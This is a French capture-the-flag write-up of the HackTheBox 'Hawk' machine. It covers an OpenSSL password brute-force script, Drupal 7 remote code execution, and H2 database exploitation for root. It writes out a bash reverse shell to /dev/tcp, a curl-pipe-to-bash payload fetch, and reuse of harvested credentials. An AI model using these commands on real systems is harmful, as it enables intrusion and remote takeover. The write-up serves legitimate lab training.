> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Compte rendu HackTheBox de Hawk

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Compétences :**

* Brute force et déchiffrement du chiffrement OpenSSL
* Énumération/Exploitation de Drupal
* Exploitation de la base de données H2
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/06c825f57d267e98e9cf29aad2837feb24109a04" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérification de la connexion VPN pour garantir une communication stable avec la machine cible

<figure><img src="/files/87f2379317ad42726991bd0a28d3a98445dff183" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Exploration des ports ouverts et exportation dans le fichier "allPorts" du répertoire Nmap.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="/files/e31ae09e29c5d45d536762ae30bf78220f78b632" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

En utilisant la fonction extractPorts pour afficher de manière concise les ports ouverts et les copier dans le presse-papiers (21,22,80,5435,9092)

<figure><img src="/files/db00f4544e0403cbd42d5ab8623389ef080f635e" alt=""><figcaption></figcaption></figure>

#### Scan de version des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="/files/9d421b938cb8a103d48a5dfb8f2b0e7bd10144de" alt=""><figcaption></figcaption></figure>

### Port 21 - FTP

Nous nous connectons en tant que **anonymous** utilisateur et découvrons un fichier caché appelé `.drupal.txt.enc`.

<figure><img src="/files/253f57e285341db666977f572453a4cf28798a9c" alt=""><figcaption></figcaption></figure>

## Brute force - Openssh (.enc)

> Le **.enc** l'extension indique généralement un fichier **encodé** (chiffré). Elle sert à indiquer que le contenu du fichier a été protégé par un algorithme de chiffrement, rendant les données illisibles sans la clé ou le mot de passe approprié. Ces fichiers peuvent contenir n'importe quel type de données (texte, images, vidéos, etc.) et sont couramment utilisés pour sécuriser des informations sensibles.

Le `.enc` Le fichier est chiffré avec un algorithme **AES-256-CBC** et encodé en **Base64**.

<figure><img src="/files/e38ef6931eebcbf705a87421d20c6f3db312b781" alt=""><figcaption></figcaption></figure>

**Étape 1 : Décodage Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="/files/b4347229fa781bbe63da3f0ab75dd90c19789047" alt=""><figcaption></figcaption></figure>

**Étape 2 : Déchiffrement avec OpenSSL**

Pour déchiffrer le fichier, nous avons besoin d'un mot de passe. Voici la commande pour tenter un déchiffrement manuel :

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="/files/7635ce7db008da989d69d2684ff2cc316c7cbee6" alt=""><figcaption></figcaption></figure>

**Étape 3 : Script d'automatisation pour le brute force**

Nous utilisons un script Bash pour tester une liste de mots de passe (par ex. `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Sortie.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] Le mot de passe est : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Résultat :**

Le mot de passe trouvé est : **amis**

<figure><img src="/files/59e0edf9dea8582511d1c6719d219119846b504a" alt=""><figcaption></figcaption></figure>

#### **Message déchiffré**

Le fichier déchiffré contient un nouveau mot de passe :

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

amis
```

* **PencilKeyboardScanner123**

<figure><img src="/files/6a7fb3763f457532e6a2740fbdc72cf3114b59b7" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

Le port 80 héberge un CMS Drupal 7.

```bash
whatweb 10.10.10.102
```

<figure><img src="/files/7e161ebd683dee39d69922a463fc3cb567efe4e9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4d2e9ee2dd94ce6898f271cc6d2dcee16eef5459" alt=""><figcaption></figcaption></figure>

**Authentification - Accès avec mot de passe**

Essayez de vous connecter avec le `PencilKeyboardScanner123` mot de passe de l'utilisateur `admin` et l'authentification réussit.

<figure><img src="/files/eceda9ebd3c9a82ea92247e79e0b8ef6a1520cc9" alt=""><figcaption></figcaption></figure>

### Reverse shell - Drupal 7

Nous utiliserons le script suivant pour exécuter des commandes sur un serveur Drupal inférieur à la version 7 (CVE-2018-7602) :

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Cette commande vous permet d'exécuter la `id` commande sur le serveur.

<figure><img src="/files/381a6b179a8a4b25cb59c472789be2d24d71cda4" alt=""><figcaption></figcaption></figure>

**Accès au serveur**/ Pour établir l'accès au serveur, nous devons écouter le port 443 avec `nc`

```bash
nc -nvlp 443
```

Ensuite, vous créez un `index.html` fichier avec le contenu suivant pour établir un shell reverse :

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Serveur web et exécution de commandes**/ Lance un serveur HTTP avec Python :

```bash
python3 -m http.server 80 
```

Ensuite, envoyez la commande suivante pour télécharger et exécuter le script :

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="/files/e3da4a1e6a6d55faeb14bcd213ddd6557d655543" alt=""><figcaption></figcaption></figure></div>

**Stabilisation du terminal** Pour gérer le terminal, les commandes suivantes sont utilisées :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/6d016fbdc768f397e86213d20a6878d0983902a7" alt="" width="563"><figcaption></figcaption></figure>

## **Élévation de privilèges**

En explorant le répertoire web à `/var/www/html`, vous pouvez voir plusieurs fichiers de configuration. Parmi eux, un fichier intéressant est identifié :

<figure><img src="/files/482b68c363afea49a6f9beeb1db79ef5e9fde967" alt=""><figcaption></figcaption></figure>

**Chemin :** `sites/default/settings.php`

En examinant ce fichier, nous trouvons des informations sensibles :

* Nom d'utilisateur : drupal
* Mot de passe : drupal4hawk

<figure><img src="/files/edbb650456007062f85532ee733f742d42a34051" alt=""><figcaption></figcaption></figure>

Ces identifiants permettent de se connecter à la base de données MySQL. Pour ce faire, les commandes suivantes sont utilisées :

```bash
mysql -u drupal -p
```

<figure><img src="/files/2835f82a2b1f5aa4fc76c3f7535b30e78805fa6e" alt=""><figcaption></figcaption></figure>

Après avoir saisi le mot de passe, toutes les bases de données disponibles sont listées, puis la base de données associée à Drupal est sélectionnée :

```sql
show databases;
use drupal;
```

Une fois dans la base de données, nous explorons le contenu de la `users` table pour trouver des informations intéressantes :

```
SELECT * FROM users;
```

Dans cette table, nous trouvons un mot de passe haché associé à un utilisateur :

<figure><img src="/files/fe33f5fccd36a9187e7dd92d3c4b4ff9fc987b82" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Brute force avec John - Mot de passe haché

Utiliser John pour casser le hachage du mot de passe

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Cependant, dans ce cas précis, aucune correspondance n'a été trouvée dans la `rockyou.txt` liste de mots de passe.

### Sortir de Python vers Bash normal

Nous avons accédé au serveur en tant que `daniel` utilisateur avec un mot de passe associé à la base de données (dans cet exemple, **drupal4hawk**). Voici la commande pour se connecter :

```bash
ssh daniel@10.10.10.182
```

Mot de passe : **drupal4hawk**

Une fois connecté, nous sommes directement dans un interpréteur Python.

<figure><img src="/files/9e90896bf2f279c9b5e813ba8f84fe331ae87827" alt=""><figcaption></figcaption></figure>

Pour revenir à un shell Bash normal, nous pouvons utiliser le `os` pour exécuter une commande Bash. Voici les étapes :

1. Importer le module `os` :

   ```python
   import os
   ```
2. Exécutez un shell Bash :

   ```python
   os.system('/bin/bash')
   ```

Cela vous permettra d'accéder à un shell Bash normal depuis l'interpréteur Python.

<figure><img src="/files/a3b4870938893c15fb978ba1e99962bb4cb423b3" alt=""><figcaption></figcaption></figure>

## Exploitation de la base de données H2

/*/* Analyse des ports ouverts/*/*

Pour commencer, nous listons les ports ouverts en interne à l'aide de la commande suivante :

```bash
netstat -tuln
```

Nous identifions que le port **8082** est ouvert et héberge un service. En l'analysant, nous découvrons qu'il s'agit d'un CMS de base de données : **Base de données H2**.

<figure><img src="/files/7809a64dbede3f4045c0d7d8c1bcb7168eecbf56" alt=""><figcaption></figcaption></figure>

Pour accéder à ce service depuis notre machine, nous effectuons une redirection de port avec **SSH**, redirigeant le port interne 8082 vers le port 8082 de notre machine locale :

<figure><img src="/files/a263b4fa9f0c31ef8a3690fc9814a663fdd9a9ae" alt=""><figcaption></figcaption></figure>

### Redirection de port

Pour accéder à ce service depuis notre machine, nous effectuons une redirection de port avec **SSH**, redirigeant le port interne 8082 vers le port 8082 de notre machine locale :

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### Base de données H2 :

<figure><img src="/files/e7c07628671d11a8589350e3cd4bfab62f7e6a3c" alt=""><figcaption></figcaption></figure>

Nous utilisons **searchsploit** pour rechercher des vulnérabilités connues associées à H2 Database :

<figure><img src="/files/28c279a7ead39483340d723a5a4183530af82b7e" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

Nous trouvons une faille intéressante permettant l'exécution de commandes à distance :

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="/files/d297b994dec0ca1b3b6af5c584d94dd36cd87fbb" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

Le script nous permet d'exécuter des commandes sur la machine cible. En naviguant dans le système, nous récupérons le **flag root.txt**.

<figure><img src="/files/46993ba61556edfa8b0e1f842cb0dfd5ba2f5177" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/7c947692aef0621ef773aaa67cebacc02171b20b" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
